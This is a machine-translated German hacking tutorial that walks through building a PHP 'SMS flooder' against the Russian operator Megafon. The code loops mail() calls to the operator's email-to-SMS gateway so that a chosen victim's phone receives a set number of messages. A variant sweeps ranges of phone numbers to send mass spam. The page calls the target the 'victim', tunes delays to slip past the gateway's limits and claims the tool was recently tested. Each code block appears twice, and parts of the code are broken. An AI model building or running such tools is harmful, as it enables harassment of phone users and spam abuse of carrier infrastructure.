This page has been robot translated, sorry for typos if any. Original content here.

Wir schreiben Sms Flooder oder Spammer (mail2sms)

Mail2sms
Das Finden von nicht-funktionierenden Links oder nicht-arbeitenden Skripten beschlossen, den Flooder zu rollen. Das Opfer war der russische MEGAFON. Nehmen wir es als Beispiel.

FLUD

Zuerst mal mal sehen was ein Flooder ist. In meinem Verständnis ist ein Flooder ein Programm oder Skript, dass (s) sendet einige Informationen an einen bestimmten Adressaten in einer bestimmten Menge (oft - in sehr groß).

Also, was brauchen wir, um so einen Flooder zu schreiben? Ja, fast nichts:
  • Hosting, mit PHP-Unterstützung
  • Gehirn + gerade Arme
  • Die Möglichkeit, Google zu benutzen
Für Überschwemmungen verwenden wir das SMS-Gateway dieses Operators.
SMS-Gateway ist eine Schnittstelle, die Ihnen erlaubt, SMS-Nachrichten zu senden und zu empfangen, ohne ein Mobiltelefon zu benutzen. SMS-Nachrichten werden in E-Mail-Nachrichten, HTTP-Anfragen und zurück umgewandelt. Eine Nachricht, die über ein solches Gateway gesendet wird, kann für den Absender frei sein; Allerdings sind technische Einschränkungen möglich, wie zB die Begrenzung der Anzahl der Nachrichten, die von einem Computer pro Tag gesendet werden.

Wie Sie aus dem oben genannten sehen können, erfahren fortgeschrittene Programmierer nichts Neues für sich selbst.
Also hast du das Hosting gewählt, du hast es alles herausgefunden ...
Erstellen Sie die index.php- Seite des folgenden Inhalts:
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
<?php
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head>' ;
echo
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Megafon flooder from Inlanger</title>
<style type="text/css">
body { font-weight: normal; font-family: Verdana; font-size: 10px; color: #26029B; background-color: #FDD7A2 }
a:link { text-decoration: none; color : #000000}
a:active { text-decoration: none; color : #000000 }
a:visited { text-decoration: none; color : #000000}
a:hover { text-decoration: none; font-size: 9px; color : #404040 }
div { margin: 1px 0px 1px 0px; padding: 5px 5px 5px 5px; font-weight: bold;}
.a {background-color: orange; text-align: center; font-size: 15px; color: #F0F902; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
.v {background-color: orange; text-align: center; font-size: 12px; color: #000000; border-left:3px solid #000000; border-right:3px solid #000000; border-bottom:3px solid #000000; border-top:3px solid #000000;}
</style></head><body bgcolor="#FDD7A2"><!--MADE BY INLANGER-->'
;
echo
"<div class=\"a\" align=\"center\">flooder/spamer from Inlanger</div>" ;
echo
"</div><div class=\"v\">
<form action=\"sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Количество:<br />
<input name=\"kol\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
<br/><br/>

<br/></div></body></html>"
;
?>
Wie Sie aus dem Code sehen können, wird es eine Seite mit einem Formular für das Senden von Bezug auf unser Skript, die heißt sms.php:
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
<?php
$from
= "любой почтовый@ящик" ;
$to = $_POST [ 'to' ]. '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = 0 ; $i < $kol ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}
print
"
<html>
<body>
<p align=\"center\">
Your $kol SMS:<br><b>
$msg
</b>
has been sent to $to
<br></p>
<div align=right>Inlanger</div>
</body>
</html> "
;
?>
Wir fangen an, den Code zu analysieren.
Zu Beginn des Skripts weisen wir Variablen zu.
$ Von - jede Mailbox, von der Nachrichten gesendet werden.
$ An - der Adressat, das heißt, der, den wir den Boom verderben. Der Wert der Variablen wird aus dem Formular index.php genommen und fügt mit @ sms.mgsm.ru zusammen. Was ist das @ sms.mgsm.ru? Dies ist der SMS-Gateway-Operator Megafon.
$ Msg ist eine Variable, die den Text enthält, der gesendet wird.
Als nächstes gibt es einen Zyklus, dessen Aufgabe es ist, die gewünschte Menge an Nachrichten mit einem Pause-Schlaf zu senden.
Die Mail-Funktion ist nur für die Migration von Mail an das Gateway verantwortlich.

Jetzt über die Funktion schlafen Warum ist es nötig?
Wenn wir es nicht eingeben, reagiert der Server nicht auf die erforderliche Menge an SMS und sendet sie in der Menge von 1-2 Stück. Das ist in Ordnung für den Server zu reagieren und diese Funktion ist erforderlich. In Klammern wird die Anzahl der Sekunden der Verzögerung geschrieben. Diese Zahl wird durch die Methode der Sortierung verschiedener Varianten ausgewählt. Sein Wert kann von der Belastung des Gateways und der Geschwindigkeit Ihres Internets abhängen. So experimentiere hier Das Skript wurde mit Parameter 7 überprüft.

Überprüfen Sie die Arbeit des Skripts. Wir gehen zu unserem Formular, geben Sie die notwendigen Daten ein und klicken Sie auf die Schaltfläche ...
Nun sollten Sie berücksichtigen, dass das Skript nicht sofort ausgeführt wird , sondern allmählich auf die Pause warten, die Sie nach dem Senden jeder Nachricht eingestellt haben.

SPAM

Was ist Spam? Ich verstehe Spam als Massenversand von einigen Informationen an verschiedene Menschen für verschiedene Zwecke. Was wir brauchen, um Spam zu organisieren
  • Alles, was für flooder aufgeführt wurde
Es ist notwendig, die Form des Versands leicht zu verändern. Ich gebe nur ein Fragment:
  < form action = "sms.php\" method=\"post\">
Номер:<br />
<input name=\"to\" maxlength=\"11\" value=\"7\" /><br />
Текст сообщения:<br />
<input name=\"msg\" /><br />
Диапозон номеров:<br />
ОТ <input name=\"diapstart\" /> ДО <input name=\"diapfinish\" /><br />
Задержка в секундах:<br />
<input name=\"zad\" /><br />
<input type=\"submit\" value=\"Поехали...\">
</form>
Und eine etwas modifizierte sms.php :

<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
<?php
$from
= "любой почтовый@ящик" ;
$to = $i . '@sms.mgsm.ru' ;
$msg = $_POST [ 'msg' ];
for(
$i = $diapstart ; $i <= $diapfinish ; $i ++)
{
mail ( "$to" , "" , "$msg" , "From: $from" );
sleep ( $zad );
}

...
ich denke, alles ist klar. Wir bewegen uns auf einen bestimmten Bereich von Zahlen und senden sie SMS in einem festgelegten Intervall. Diese Methode:
[+] Funktioniert ohne Datenbank. Pro Person Geld sparen und Verkehr
[+] Im Gegensatz zu der Basis - kommen Sie zum Netzwerk Anfänger, die noch nicht in Datenbanken (bezahlt und kostenlos)
[-] nicht alle gesendet SMS wird aus dem Grund, dass es nicht solche Zahlen geben kann. Aber es ist möglich, solche Diapazone auszuwählen, dass es eine maximale Wahrscheinlichkeit der SMS-Lieferung gab.

Was heißt abschließend ...
Dieses Material ruft dich nicht zum Handeln und hat einen Tatsachenfaktor. Der Autor des Artikels ist mir, und beim Kopieren der Link hier ist erforderlich.
Mit einem kleinen Wunsch und fähiger Geschicklichkeit wird das Skript in einen Spammer umgewandelt oder an einen anderen Betreiber angepasst, mit einem funktionierenden SMS-Gateway. Hier für die Suche nach Gateways brauchten wir die Möglichkeit zu google. Für die Faulenzen - eine große Liste von Gateways . Aber das ist vielleicht der nächste Artikel.

PS Flooder vor kurzem getestet. Alles funktioniert super. Wenn es nicht funktioniert, gibt es mehrere Optionen. Eins - krumme Hände. Zweitens - Ihr Hosting hält nicht die Mail-Funktion. Drittens - der Operator hat das Gateway geändert oder das Gateway ist überlastet.